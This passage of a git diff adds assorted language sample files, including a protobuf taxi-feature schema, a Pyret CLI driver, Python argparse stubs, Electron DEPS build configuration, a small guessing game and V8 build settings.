+    dimension: [1, 3072, 32, 32]
+    data_type: DATA_FLOAT
+    format: TENSOR_NCHW
+  }
+  output {
+    dimension: [512, 1, 30, 30]
+    data_type: DATA_FLOAT
+    format: TENSOR_NCHW
+  }
+  convolution {
+    pad: [29, 29]
+    compute_mode: DATA_FLOAT
+    math_type: TENSOR_OP_MATH
+    mode: CROSS_CORRELATION
+  }
+  bwd_filter_algo: CONVOLUTION_BWD_FILTER_ALGO_0
+}
\ No newline at end of file
diff --git a/samples/Protocol Buffer Text Format/schema.pbtxt b/samples/Protocol Buffer Text Format/schema.pbtxt
new file mode 100644
index 0000000000..abac8d3745
--- /dev/null
+++ b/samples/Protocol Buffer Text Format/schema.pbtxt	
@@ -0,0 +1,271 @@
+feature {
+  name: "company"
+  value_count {
+    min: 1
+    max: 1
+  }
+  type: BYTES
+  domain: "company"
+  presence {
+    min_count: 1
+  }
+}
+feature {
+  name: "payment_type"
+  value_count {
+    min: 1
+    max: 1
+  }
+  type: BYTES
+  domain: "payment_type"
+  presence {
+    min_fraction: 1.0
+    min_count: 1
+  }
+}
+feature {
+  name: "dropoff_census_tract"
+  value_count {
+    min: 1
+    max: 1
+  }
+  type: INT
+  presence {
+    min_count: 1
+  }
+}
+feature {
+  name: "dropoff_community_area"
+  value_count {
+    min: 1
+    max: 1
+  }
+  type: INT
+  presence {
+    min_count: 1
+  }
+}
+feature {
+  name: "dropoff_latitude"
+  value_count {
+    min: 1
+    max: 1
+  }
+  type: FLOAT
+  presence {
+    min_count: 1
+  }
+}
+feature {
+  name: "dropoff_longitude"
+  value_count {
+    min: 1
+    max: 1
+  }
+  type: FLOAT
+  presence {
+    min_count: 1
+  }
+}
+feature {
+  name: "fare"
+  value_count {
+    min: 1
+    max: 1
+  }
+  type: FLOAT
+  presence {
+    min_fraction: 1.0
+    min_count: 1
+  }
+}
+feature {
+  name: "pickup_census_tract"
+  type: INT
+  presence {
+    min_count: 0
+  }
+}
+feature {
+  name: "pickup_community_area"
+  value_count {
+    min: 1
+    max: 1
+  }
+  type: INT
+  presence {
+    min_fraction: 1.0
+    min_count: 1
+  }
+}
+feature {
+  name: "pickup_latitude"
+  value_count {
+    min: 1
+    max: 1
+  }
+  type: FLOAT
+  presence {
+    min_fraction: 1.0
+    min_count: 1
+  }
+}
+feature {
+  name: "pickup_longitude"
+  value_count {
+    min: 1
+    max: 1
+  }
+  type: FLOAT
+  presence {
+    min_fraction: 1.0
+    min_count: 1
+  }
+}
+feature {
+  name: "tips"
+  value_count {
+    min: 1
+    max: 1
+  }
+  type: FLOAT
+  presence {
+    min_fraction: 1.0
+    min_count: 1
+  }
+}
+feature {
+  name: "trip_miles"
+  value_count {
+    min: 1
+    max: 1
+  }
+  type: FLOAT
+  presence {
+    min_fraction: 1.0
+    min_count: 1
+  }
+}
+feature {
+  name: "trip_seconds"
+  value_count {
+    min: 1
+    max: 1
+  }
+  type: INT
+  presence {
+    min_count: 1
+  }
+}
+feature {
+  name: "trip_start_day"
+  value_count {
+    min: 1
+    max: 1
+  }
+  type: INT
+  presence {
+    min_fraction: 1.0
+    min_count: 1
+  }
+}
+feature {
+  name: "trip_start_hour"
+  value_count {
+    min: 1
+    max: 1
+  }
+  type: INT
+  presence {
+    min_fraction: 1.0
+    min_count: 1
+  }
+}
+feature {
+  name: "trip_start_month"
+  value_count {
+    min: 1
+    max: 1
+  }
+  type: INT
+  presence {
+    min_fraction: 1.0
+    min_count: 1
+  }
+}
+feature {
+  name: "trip_start_timestamp"
+  value_count {
+    min: 1
+    max: 1
+  }
+  type: INT
+  presence {
+    min_fraction: 1.0
+    min_count: 1
+  }
+}
+string_domain {
+  name: "company"
+  value: "0118 - 42111 Godfrey S.Awir"
+  value: "0694 - 59280 Chinesco Trans Inc"
+  value: "2092 - 61288 Sbeih company"
+  value: "2192 - 73487 Zeymane Corp"
+  value: "2733 - 74600 Benny Jona"
+  value: "2823 - 73307 Seung Lee"
+  value: "3011 - 66308 JBL Cab Inc."
+  value: "3094 - 24059 G.L.B. Cab Co"
+  value: "3152 - 97284 Crystal Abernathy"
+  value: "3201 - C&D Cab Co Inc"
+  value: "3201 - CID Cab Co Inc"
+  value: "3253 - 91138 Gaither Cab Co."
+  value: "3319 - CD Cab Co"
+  value: "3385 - 23210 Eman Cab"
+  value: "3385 - Eman Cab"
+  value: "3623 - 72222 Arrington Enterprises"
+  value: "3897 - Ilie Malec"
+  value: "4053 - 40193 Adwar H. Nikola"
+  value: "4053 - Adwar H. Nikola"
+  value: "4197 - 41842 Royal Star"
+  value: "4197 - Royal Star"
+  value: "4615 - 83503 Tyrone Henderson"
+  value: "4623 - Jay Kim"
+  value: "5006 - 39261 Salifu Bawa"
+  value: "5006 - Salifu Bawa"
+  value: "5074 - 54002 Ahzmi Inc"
+  value: "5074 - Ahzmi Inc"
+  value: "5129 - 87128"
+  value: "5129 - 98755 Mengisti Taxi"
+  value: "5129 - Mengisti Taxi"
+  value: "5724 - KYVI Cab Inc"
+  value: "585 - 88805 Valley Cab Co"
+  value: "5864 - 73614 Thomas Owusu"
+  value: "5864 - Thomas Owusu"
+  value: "5874 - 73628 Sergey Cab Corp."
+  value: "5997 - 65283 AW Services Inc."
+  value: "6488 - 83287 Zuha Taxi"
+  value: "6742 - 83735 Tasha ride inc"
+  value: "Blue Ribbon Taxi Association Inc."
+  value: "C & D Cab Co Inc"
+  value: "Chicago Elite Cab Corp."
+  value: "Chicago Elite Cab Corp. (Chicago Carriag"
+  value: "Chicago Medallion Leasing INC"
+  value: "Chicago Medallion Management"
+  value: "Choice Taxi Association"
+  value: "Dispatch Taxi Affiliation"
+  value: "KOAM Taxi Association"
+  value: "Northwest Management LLC"
+  value: "Taxi Affiliation Services"
+  value: "Top Cab Affiliation"
+}
+string_domain {
+  name: "payment_type"
+  value: "Cash"
+  value: "Credit Card"
+  value: "Dispute"
+  value: "No Charge"
+  value: "Pcard"
+  value: "Prcard"
+  value: "Unknown"
+}
+# generate_legacy_feature_spec: false
diff --git a/samples/Jade/hello.jade b/samples/Pug/hello.jade
similarity index 100%
rename from samples/Jade/hello.jade
rename to samples/Pug/hello.jade
diff --git a/samples/Jade/hello.pug b/samples/Pug/hello.pug
similarity index 100%
rename from samples/Jade/hello.pug
rename to samples/Pug/hello.pug
diff --git a/samples/Pyret/pyret.arr b/samples/Pyret/pyret.arr
new file mode 100644
index 0000000000..56d69ac33f
--- /dev/null
+++ b/samples/Pyret/pyret.arr
@@ -0,0 +1,225 @@
+#lang pyret
+
+import cmdline as C
+import file as F
+import pathlib as P
+import render-error-display as RED
+import string-dict as D
+import system as SYS
+import file("cli-module-loader.arr") as CLI
+import file("compile-lib.arr") as CL
+import file("compile-structs.arr") as CS
+import file("locators/builtin.arr") as B
+import file("server.arr") as S
+
+# this value is the limit of number of steps that could be inlined in case body
+DEFAULT-INLINE-CASE-LIMIT = 5
+
+success-code = 0
+failure-code = 1
+
+fun main(args :: List<String>) -> Number block:
+
+  this-pyret-dir = P.dirname(P.resolve(C.file-name))
+
+  options = [D.string-dict:
+    "serve",
+      C.flag(C.once, "Start the Pyret server"),
+    "port",
+      C.next-val-default(C.Num, "1701", none, C.once, "Port to serve on"),
+    "build-standalone",
+      C.next-val(C.Str, C.once, "Main Pyret (.arr) file to build as a standalone"),
+    "build-runnable",
+      C.next-val(C.Str, C.once, "Main Pyret (.arr) file to build as a standalone"),
+    "require-config",
+      C.next-val(C.Str, C.once, "JSON file to use for requirejs configuration of build-runnable"),
+    "outfile",
+      C.next-val(C.Str, C.once, "Output file for build-runnable"),
+    "build",
+      C.next-val(C.Str, C.once, "Pyret (.arr) file to build"),
+    "run",
+      C.next-val(C.Str, C.once, "Pyret (.arr) file to compile and run"),
+    "standalone-file",
+      C.next-val-default(C.Str, "src/js/base/handalone.js", none, C.once, "Path to override standalone JavaScript file for main"),
+    "builtin-js-dir",
+      C.next-val(C.Str, C.many, "Directory to find the source of builtin js modules"),
+    "builtin-arr-dir",
+      C.next-val(C.Str, C.many, "Directory to find the source of builtin arr modules"),
+    "allow-builtin-overrides",
+      C.flag(C.once, "Allow overlapping builtins defined between builtin-js-dir and builtin-arr-dir"),
+    "no-display-progress",
+      C.flag(C.once, "Skip printing the \"Compiling X/Y\" progress indicator"),
+    "compiled-dir",
+      C.next-val-default(C.Str, "compiled", none, C.once, "Directory to save compiled files to"),
+    "module-load-dir",
+      C.next-val-default(C.Str, ".", none, C.once, "Base directory to search for modules"),
+    "profile",
+      C.flag(C.once, "Add profiling information to the main file"),
+    "check-all",
+      C.flag(C.once, "Run checks all modules (not just the main module)"),
+    "no-check-mode",
+      C.flag(C.once, "Skip checks"),
+    "no-spies",
+      C.flag(C.once, "Disable printing of all `spy` statements"),
+    "allow-shadow",
+      C.flag(C.once, "Run without checking for shadowed variables"),
+    "improper-tail-calls",
+      C.flag(C.once, "Run without proper tail calls"),
+    "collect-times",
+      C.flag(C.once, "Collect timing information about compilation"),
+    "type-check",
+      C.flag(C.once, "Type-check the program during compilation"),
+    "inline-case-body-limit",
+      C.next-val-default(C.Num, DEFAULT-INLINE-CASE-LIMIT, none, C.once, "Set number of steps that could be inlined in case body"),
+    "deps-file",
+      C.next-val(C.Str, C.once, "Provide a path to override the default dependencies file"),
+    "html-file",
+      C.next-val(C.Str, C.once, "Name of the html file to generate that includes the standalone (only makes sense if deps-file is the result of browserify)"),
+    "no-module-eval",
+      C.flag(C.once, "Produce modules as literal functions, not as strings to be eval'd (may break error source locations)")
+  ]
+
+  params-parsed = C.parse-args(options, args)
+
+  fun err-less(e1, e2):
+    if (e1.loc.before(e2.loc)): true
+    else if (e1.loc.after(e2.loc)): false
+    else: tostring(e1) < tostring(e2)
+    end
+  end
+
+  cases(C.ParsedArguments) params-parsed block:
+    | success(r, rest) =>
+      check-mode = not(r.has-key("no-check-mode"))
+      enable-spies = not(r.has-key("no-spies"))
+      allow-shadowed = r.has-key("allow-shadow")
+      module-dir = r.get-value("module-load-dir")
+      inline-case-body-limit = r.get-value("inline-case-body-limit")
+      check-all = r.has-key("check-all")
+      type-check = r.has-key("type-check")
+      tail-calls = not(r.has-key("improper-tail-calls"))
+      compiled-dir = r.get-value("compiled-dir")
+      standalone-file = r.get-value("standalone-file")
+      add-profiling = r.has-key("profile")
+      display-progress = not(r.has-key("no-display-progress"))
+      html-file = if r.has-key("html-file"):
+            some(r.get-value("html-file"))
+          else:
+            none
+          end
+      module-eval = not(r.has-key("no-module-eval"))
+      when r.has-key("builtin-js-dir"):
+        B.set-builtin-js-dirs(r.get-value("builtin-js-dir"))
+      end
+      when r.has-key("builtin-arr-dir"):
+        B.set-builtin-arr-dirs(r.get-value("builtin-arr-dir"))
+      end
+      when r.has-key("allow-builtin-overrides"):
+        B.set-allow-builtin-overrides(r.get-value("allow-builtin-overrides"))
+      end
+      if not(is-empty(rest)) block:
+        print-error("Passing command line arguments without compiling standalone no longer supported\n")
+        failure-code
+      else:
+        if r.has-key("build-runnable") block:
+          outfile = if r.has-key("outfile"):
+            r.get-value("outfile")
+          else:
+            r.get-value("build-runnable") + ".jarr"
+          end
+          CLI.build-runnable-standalone(
+              r.get-value("build-runnable"),
+              r.get-value("require-config"),
+              outfile,
+              CS.default-compile-options.{
+                this-pyret-dir: this-pyret-dir,
+                standalone-file: standalone-file,
+                check-mode : check-mode,
+                type-check : type-check,
+                enable-spies: enable-spies,
+                allow-shadowed : allow-shadowed,
+                add-profiling : add-profiling,
+                collect-all: false,
+                collect-times: r.has-key("collect-times") and r.get-value("collect-times"),
+                ignore-unbound: false,
+                proper-tail-calls: tail-calls,
+                compiled-cache: compiled-dir,
+                display-progress: display-progress,
+                inline-case-body-limit: inline-case-body-limit,
+                deps-file: r.get("deps-file").or-else(CS.default-compile-options.deps-file),
+                html-file: html-file,
+                module-eval: module-eval
+              })
+          success-code
+        else if r.has-key("serve"):
+          port = r.get-value("port")
+          S.serve(port)
+          success-code
+        else if r.has-key("build-standalone"):
+          print-error("Use build-runnable instead of build-standalone\n")
+          failure-code
+          #|
+          CLI.build-require-standalone(r.get-value("build-standalone"),
+              CS.default-compile-options.{
+                check-mode : check-mode,
+                type-check : type-check,
+                allow-shadowed : allow-shadowed,
+                collect-all: false,
+                collect-times: r.has-key("collect-times") and r.get-value("collect-times"),
+                ignore-unbound: false,
+                proper-tail-calls: tail-calls,
+                compiled-cache: compiled-dir,
+                display-progress: display-progress
+              })
+           |#
+        else if r.has-key("build"):
+          result = CLI.compile(r.get-value("build"),
+            CS.default-compile-options.{
+              check-mode : check-mode,
+              type-check : type-check,
+              allow-shadowed : allow-shadowed,
+              collect-all: false,
+              ignore-unbound: false,
+              proper-tail-calls: tail-calls,
+              compile-module: false,
+              display-progress: display-progress
+            })
+          failures = filter(CS.is-err, result.loadables)
+          if is-link(failures) block:
+            for each(f from failures) block:
+              for lists.each(e from f.errors) block:
+                print-error(tostring(e))
+                print-error("\n")
+              end
+              print-error("There were compilation errors\n")
+            end
+            failure-code
+          else:
+            success-code
+          end
+        else if r.has-key("run"):
+          run-args =
+            if is-empty(rest):
+              empty
+            else:
+              rest.rest
+            end
+          result = CLI.run(r.get-value("run"), CS.default-compile-options.{
+              standalone-file: standalone-file,
+              display-progress: display-progress,
+              check-all: check-all
+            }, run-args)
+          _ = print(result.message + "\n")
+          result.exit-code
+        else:
+          block:
+            print-error(C.usage-info(options).join-str("\n"))
+            print-error("Unknown command line options\n")
+            failure-code
+          end
+        end
+      end
+    | arg-error(message, partial) =>
+      block:
+        print-error(message + "\n")
+        print-error(C.usage-info(options).join-str("\n"))
\ No newline at end of file
diff --git a/samples/Python/argparse.pyi b/samples/Python/argparse.pyi
new file mode 100644
index 0000000000..c481d9ece6
--- /dev/null
+++ b/samples/Python/argparse.pyi
@@ -0,0 +1,159 @@
+# Stubs for argparse (Python 3.4)
+
+from typing import (
+    Any, Callable, Iterable, List, IO, Optional, Sequence, Tuple, Type, Union,
+    TypeVar, overload
+)
+import sys
+
+_T = TypeVar('_T')
+
+if sys.version_info >= (3,):
+    _Text = str
+else:
+    _Text = Union[str, unicode]
+
+ONE_OR_MORE = ...  # type: str
+OPTIONAL = ...  # type: str
+PARSER = ...  # type: str
+REMAINDER = ...  # type: str
+SUPPRESS = ...  # type: str
+ZERO_OR_MORE = ...  # type: str
+
+class ArgumentError(Exception): ...
+
+class ArgumentParser:
+    if sys.version_info >= (3, 5):
+        def __init__(self,
+                     prog: Optional[str] = ...,
+                     usage: Optional[str] = ...,
+                     description: Optional[str] = ...,
+                     epilog: Optional[str] = ...,
+                     parents: Sequence[ArgumentParser] = ...,
+                     formatter_class: Type[HelpFormatter] = ...,
+                     prefix_chars: _Text = ...,
+                     fromfile_prefix_chars: Optional[str] = ...,
+                     argument_default: Optional[str] = ...,
+                     conflict_handler: _Text = ...,
+                     add_help: bool = ...,
+                     allow_abbrev: bool = ...) -> None: ...
+    else:
+        def __init__(self,
+                     prog: Optional[_Text] = ...,
+                     usage: Optional[_Text] = ...,
+                     description: Optional[_Text] = ...,
+                     epilog: Optional[_Text] = ...,
+                     parents: Sequence[ArgumentParser] = ...,
+                     formatter_class: Type[HelpFormatter] = ...,
+                     prefix_chars: _Text = ...,
+                     fromfile_prefix_chars: Optional[_Text] = ...,
+                     argument_default: Optional[_Text] = ...,
+                     conflict_handler: _Text = ...,
+                     add_help: bool = ...) -> None: ...
+    def add_argument(self,
+                     *name_or_flags: Union[_Text, Sequence[_Text]],
+                     action: Union[_Text, Type[Action]] = ...,
+                     nargs: Union[int, _Text] = ...,
+                     const: Any = ...,
+                     default: Any = ...,
+                     type: Union[Callable[[str], _T], FileType] = ...,
+                     choices: Iterable[_T] = ...,
+                     required: bool = ...,
+                     help: _Text = ...,
+                     metavar: Union[_Text, Tuple[_Text, ...]] = ...,
+                     dest: _Text = ...,
+                     version: _Text = ...) -> None: ...  # weirdly documented
+    def parse_args(self, args: Optional[Sequence[_Text]] = ...,
+                   namespace: Optional[Namespace] = ...) -> Namespace: ...
+    def add_subparsers(self, title: _Text = ...,
+                       description: Optional[_Text] = ...,
+                       prog: _Text = ...,
+                       parser_class: Type[ArgumentParser] = ...,
+                       action: Type[Action] = ...,
+                       option_string: _Text = ...,
+                       dest: Optional[_Text] = ...,
+                       help: Optional[_Text] = ...,
+                       metavar: Optional[_Text] = ...) -> _SubParsersAction: ...
+    def add_argument_group(self, title: Optional[_Text] = ...,
+                           description: Optional[_Text] = ...) -> _ArgumentGroup: ...
+    def add_mutually_exclusive_group(self, required: bool = ...) -> _MutuallyExclusiveGroup: ...
+    def set_defaults(self, **kwargs: Any) -> None: ...
+    def get_default(self, dest: _Text) -> Any: ...
+    def print_usage(self, file: Optional[IO[str]] = ...) -> None: ...
+    def print_help(self, file: Optional[IO[str]] = ...) -> None: ...
+    def format_usage(self) -> str: ...
+    def format_help(self) -> str: ...
+    def parse_known_args(self, args: Optional[Sequence[_Text]] = ...,
+                         namespace: Optional[Namespace] = ...) -> Tuple[Namespace, List[str]]: ...
+    def convert_arg_line_to_args(self, arg_line: _Text) -> List[str]: ...
+    def exit(self, status: int = ..., message: Optional[_Text] = ...) -> None: ...
+    def error(self, message: _Text) -> None: ...
+
+class HelpFormatter:
+    # not documented
+    def __init__(self, prog: _Text, indent_increment: int = ...,
+                 max_help_position: int = ...,
+                 width: Optional[int] = ...) -> None: ...
+class RawDescriptionHelpFormatter(HelpFormatter): ...
+class RawTextHelpFormatter(HelpFormatter): ...
+class ArgumentDefaultsHelpFormatter(HelpFormatter): ...
+if sys.version_info >= (3,):
+    class MetavarTypeHelpFormatter(HelpFormatter): ...
+
+class Action:
+    def __init__(self,
+                 option_strings: Sequence[_Text],
+                 dest: _Text = ...,
+                 nargs: Optional[Union[int, _Text]] = ...,
+                 const: Any = ...,
+                 default: Any = ...,
+                 type: Union[Callable[[str], _T], FileType, None] = ...,
+                 choices: Optional[Iterable[_T]] = ...,
+                 required: bool = ...,
+                 help: Optional[_Text] = ...,
+                 metavar: Union[_Text, Tuple[_Text, ...]] = ...) -> None: ...
+    def __call__(self, parser: ArgumentParser, namespace: Namespace,
+                 values: Union[_Text, Sequence[Any], None],
+                 option_string: _Text = ...) -> None: ...
+
+class Namespace:
+    def __getattr__(self, name: _Text) -> Any: ...
+    def __setattr__(self, name: _Text, value: Any) -> None: ...
+
+class FileType:
+    if sys.version_info >= (3, 4):
+        def __init__(self, mode: _Text = ..., bufsize: int = ...,
+                     encoding: Optional[_Text] = ...,
+                     errors: Optional[_Text] = ...) -> None: ...
+    elif sys.version_info >= (3,):
+        def __init__(self,
+                     mode: _Text = ..., bufsize: int = ...) -> None: ...
+    else:
+        def __init__(self,
+                     mode: _Text = ..., bufsize: Optional[int] = ...) -> None: ...
+    def __call__(self, string: _Text) -> IO[Any]: ...
+
+class _ArgumentGroup:
+    def add_argument(self,
+                     *name_or_flags: Union[_Text, Sequence[_Text]],
+                     action: Union[_Text, Type[Action]] = ...,
+                     nargs: Union[int, _Text] = ...,
+                     const: Any = ...,
+                     default: Any = ...,
+                     type: Union[Callable[[str], _T], FileType] = ...,
+                     choices: Iterable[_T] = ...,
+                     required: bool = ...,
+                     help: _Text = ...,
+                     metavar: Union[_Text, Tuple[_Text, ...]] = ...,
+                     dest: _Text = ...,
+                     version: _Text = ...) -> None: ...
+    def add_mutually_exclusive_group(self, required: bool = ...) -> _MutuallyExclusiveGroup: ...
+
+class _MutuallyExclusiveGroup(_ArgumentGroup): ...
+
+class _SubParsersAction:
+    # TODO: Type keyword args properly.
+    def add_parser(self, name: _Text, **kwargs: Any) -> ArgumentParser: ...
+
+# not documented
+class ArgumentTypeError(Exception): ...
diff --git a/samples/Python/filenames/.gclient b/samples/Python/filenames/.gclient
new file mode 100644
index 0000000000..4d21324d08
--- /dev/null
+++ b/samples/Python/filenames/.gclient
@@ -0,0 +1,9 @@
+solutions = [
+  {
+    "url": "https://chromium.googlesource.com/v8/v8.git",
+    "managed": False,
+    "name": "v8",
+    "deps_file": "DEPS",
+    "custom_deps": {},
+  },
+]
diff --git a/samples/Python/filenames/DEPS b/samples/Python/filenames/DEPS
new file mode 100644
index 0000000000..6e5d1268bd
--- /dev/null
+++ b/samples/Python/filenames/DEPS
@@ -0,0 +1,152 @@
+gclient_gn_args_file = 'src/build/config/gclient_args.gni'
+gclient_gn_args = [
+  'build_with_chromium',
+  'checkout_android',
+  'checkout_android_native_support',
+  'checkout_libaom',
+  'checkout_nacl',
+  'checkout_oculus_sdk'
+]
+
+vars = {
+  'chromium_version':
+    'f200986dfaabd6aad6a4b37dad7aae42fec349e9',
+  'node_version':
+    '229bd3245b2f54c12ea9ad0abcadbc209f8023dc',
+  'nan_version':
+    '960dd6c70fc9eb136efdf37b4bef18fadbc3436f',
+
+  'boto_version': 'f7574aa6cc2c819430c1f05e9a1a1a666ef8169b',
+  'pyyaml_version': '3.12',
+  'requests_version': 'e4d59bedfd3c7f4f254f4f5d036587bcd8152458',
+
+  'boto_git': 'https://github.com/boto',
+  'chromium_git': 'https://chromium.googlesource.com',
+  'electron_git': 'https://github.com/electron',
+  # FIXME: Once https://github.com/nodejs/nan/pull/857 lands this should point at nodejs/nan
+  'nodejs_git': 'https://github.com/marshallofsound',
+  'requests_git': 'https://github.com/kennethreitz',
+  'yaml_git': 'https://github.com/yaml',
+
+  # KEEP IN SYNC WITH utils.js FILE
+  'yarn_version': '1.15.2',
+
+  # To be able to build clean Chromium from sources.
+  'apply_patches': True,
+
+  # Python interface to Amazon Web Services. Is used for releases only.
+  'checkout_boto': False,
+
+  # To allow in-house builds to checkout those manually.
+  'checkout_chromium': True,
+  'checkout_node': True,
+  'checkout_nan': True,
+
+  # It's only needed to parse the native tests configurations.
+  'checkout_pyyaml': False,
+
+  # Python "requests" module is used for releases only.
+  'checkout_requests': False,
+
+  # To allow running hooks without parsing the DEPS tree
+  'process_deps': True,
+
+  # It is always needed for normal Electron builds,
+  # but might be impossible for custom in-house builds.
+  'download_external_binaries': True,
+
+  'checkout_nacl':
+    False,
+  'checkout_libaom':
+    True,
+  'checkout_oculus_sdk':
+    False,
+  'build_with_chromium':
+    True,
+  'checkout_android':
+    False,
+  'checkout_android_native_support':
+    False,
+}
+
+deps = {
+  'src': {
+    'url': (Var("chromium_git")) + '/chromium/src.git@' + (Var("chromium_version")),
+    'condition': 'checkout_chromium and process_deps',
+  },
+  'src/third_party/nan': {
+    'url': (Var("nodejs_git")) + '/nan.git@' + (Var("nan_version")),
+    'condition': 'checkout_nan and process_deps',
+  },
+  'src/third_party/electron_node': {
+    'url': (Var("electron_git")) + '/node.git@' + (Var("node_version")),
+    'condition': 'checkout_node and process_deps',
+  },
+  'src/electron/vendor/pyyaml': {
+    'url': (Var("yaml_git")) + '/pyyaml.git@' + (Var("pyyaml_version")),
+    'condition': 'checkout_pyyaml and process_deps',
+  },
+  'src/electron/vendor/boto': {
+    'url': Var('boto_git') + '/boto.git' + '@' +  Var('boto_version'),
+    'condition': 'checkout_boto and process_deps',
+  },
+  'src/electron/vendor/requests': {
+    'url': Var('requests_git') + '/requests.git' + '@' +  Var('requests_version'),
+    'condition': 'checkout_requests and process_deps',
+  },
+}
+
+hooks = [
+  {
+    'name': 'patch_chromium',
+    'condition': '(checkout_chromium and apply_patches) and process_deps',
+    'pattern': 'src/electron',
+    'action': [
+      'python',
+      'src/electron/script/apply_all_patches.py',
+      'src/electron/patches/config.json',
+    ],
+  },
+  {
+    'name': 'electron_external_binaries',
+    'pattern': 'src/electron/script/update-external-binaries.py',
+    'condition': 'download_external_binaries',
+    'action': [
+      'python',
+      'src/electron/script/update-external-binaries.py',
+    ],
+  },
+  {
+    'name': 'electron_npm_deps',
+    'pattern': 'src/electron/package.json',
+    'action': [
+      'python',
+      '-c',
+      'import os, subprocess; os.chdir(os.path.join("src", "electron")); subprocess.check_call(["python", "script/lib/npx.py", "yarn@' + (Var("yarn_version")) + '", "install", "--frozen-lockfile"]);',
+    ],
+  },
+  {
+    'name': 'setup_boto',
+    'pattern': 'src/electron',
+    'condition': 'checkout_boto and process_deps',
+    'action': [
+      'python',
+      '-c',
+      'import os, subprocess; os.chdir(os.path.join("src", "electron", "vendor", "boto")); subprocess.check_call(["python", "setup.py", "build"]);',
+    ],
+  },
+  {
+    'name': 'setup_requests',
+    'pattern': 'src/electron',
+    'condition': 'checkout_requests and process_deps',
+    'action': [
+      'python',
+      '-c',
+      'import os, subprocess; os.chdir(os.path.join("src", "electron", "vendor", "requests")); subprocess.check_call(["python", "setup.py", "build"]);',
+    ],
+  },
+]
+
+recursedeps = [
+  'src',
+]
diff --git a/samples/Python/py3.py3 b/samples/Python/py3.py3
new file mode 100644
index 0000000000..6e52193151
--- /dev/null
+++ b/samples/Python/py3.py3
@@ -0,0 +1,20 @@
+import random
+
+guesses = 0
+
+number = random.randint(1, 20)
+
+print("Guess the number between 1 and 20! You have 6 tries.")
+while guesses < 6:
+    guess = int(input("Is it... "))
+
+    if guess == number:
+        print("Hooray! You guessed it right!")
+        break
+    elif guess < number:
+        print("It's bigger...")
+    elif guess > number:
+        print("It's not so big.")
+    guesses += 1
+if guesses == 6:
+    print("You've ran out of tries.")
diff --git a/samples/Python/spec.linux.spec b/samples/Python/spec.linux.spec
new file mode 100644
index 0000000000..c5806cd328
--- /dev/null
+++ b/samples/Python/spec.linux.spec
@@ -0,0 +1,22 @@
+a = Analysis(['portablizer.pyqt4.py'],
+             hiddenimports=[],
+             hookspath=None,
+             runtime_hooks=None)
+pyz = PYZ(a.pure)
+exe = EXE(pyz,
+          a.scripts,
+          exclude_binaries=True,
+          name='Portablizer',
+          debug=False,
+          strip=None,
+          upx=True,
+          console=False)
+node = Tree('node', prefix='node')
+collect = COLLECT(exe,
+                  a.binaries,
+                  a.zipfiles,
+                  a.datas,
+                  node,
+                  strip=None,
+                  upx=True,
+                  name='Portablizer')
diff --git a/samples/Python/standalone.gypi b/samples/Python/standalone.gypi
new file mode 100644
index 0000000000..d438a5aeab
--- /dev/null
+++ b/samples/Python/standalone.gypi
@@ -0,0 +1,1522 @@
+# Copyright 2012 the V8 project authors. All rights reserved.
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions are
+# met:
+#
+#     * Redistributions of source code must retain the above copyright
+#       notice, this list of conditions and the following disclaimer.
+#     * Redistributions in binary form must reproduce the above
+#       copyright notice, this list of conditions and the following
+#       disclaimer in the documentation and/or other materials provided
+#       with the distribution.
+#     * Neither the name of Google Inc. nor the names of its
+#       contributors may be used to endorse or promote products derived
+#       from this software without specific prior written permission.
+#
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+# Definitions to be used when building stand-alone V8 binaries.
+
+{
+  # We need to include toolchain.gypi here for third-party sources that don't
+  # directly include it themselves.
+  'includes': ['toolchain.gypi'],
+  'variables': {
+    'component%': 'static_library',
+    'clang_xcode%': 0,
+    # Track where uninitialized memory originates from. From fastest to
+    # slowest: 0 - no tracking, 1 - track only the initial allocation site, 2
+    # - track the chain of stores leading from allocation site to use site.
+    'msan_track_origins%': 2,
+    'visibility%': 'hidden',
+    'v8_enable_backtrace%': 0,
+    'v8_enable_i18n_support%': 1,
+    'v8_deprecation_warnings': 1,
+    'v8_imminent_deprecation_warnings': 1,
+    'msvs_multi_core_compile%': '1',
+    'mac_deployment_target%': '10.7',
+    'release_extra_cflags%': '',
+    'v8_enable_inspector%': 0,
+    'variables': {
+      'variables': {
+        'variables': {
+          'variables': {
+            'conditions': [
+              ['OS=="linux" or OS=="freebsd" or OS=="openbsd" or \
+                 OS=="netbsd" or OS=="mac" or OS=="qnx" or OS=="aix"', {
+                # This handles the Unix platforms we generally deal with.
+                # Anything else gets passed through, which probably won't work
+                # very well; such hosts should pass an explicit target_arch
+                # to gyp.
+                'host_arch%': '<!pymod_do_main(detect_v8_host_arch)',
+              }, {
+                # OS!="linux" and OS!="freebsd" and OS!="openbsd" and
+                # OS!="netbsd" and OS!="mac" and OS!="aix"
+                'host_arch%': 'ia32',
+              }],
+            ],
+          },
+          'host_arch%': '<(host_arch)',
+          'target_arch%': '<(host_arch)',
+
+          # By default we build against a stable sysroot image to avoid
+          # depending on the packages installed on the local machine. Set this
+          # to 0 to build against locally installed headers and libraries (e.g.
+          # if packaging for a linux distro)
+          'use_sysroot%': 1,
+        },
+        'host_arch%': '<(host_arch)',
+        'target_arch%': '<(target_arch)',
+        'use_sysroot%': '<(use_sysroot)',
+        'base_dir%': '<!(cd <(DEPTH) && python -c "import os; print os.getcwd()")',
+
+        # Instrument for code coverage and use coverage wrapper to exclude some
+        # files. Uses gcov if clang=0 is set explicitly. Otherwise,
+        # sanitizer_coverage must be set too.
+        'coverage%': 0,
+
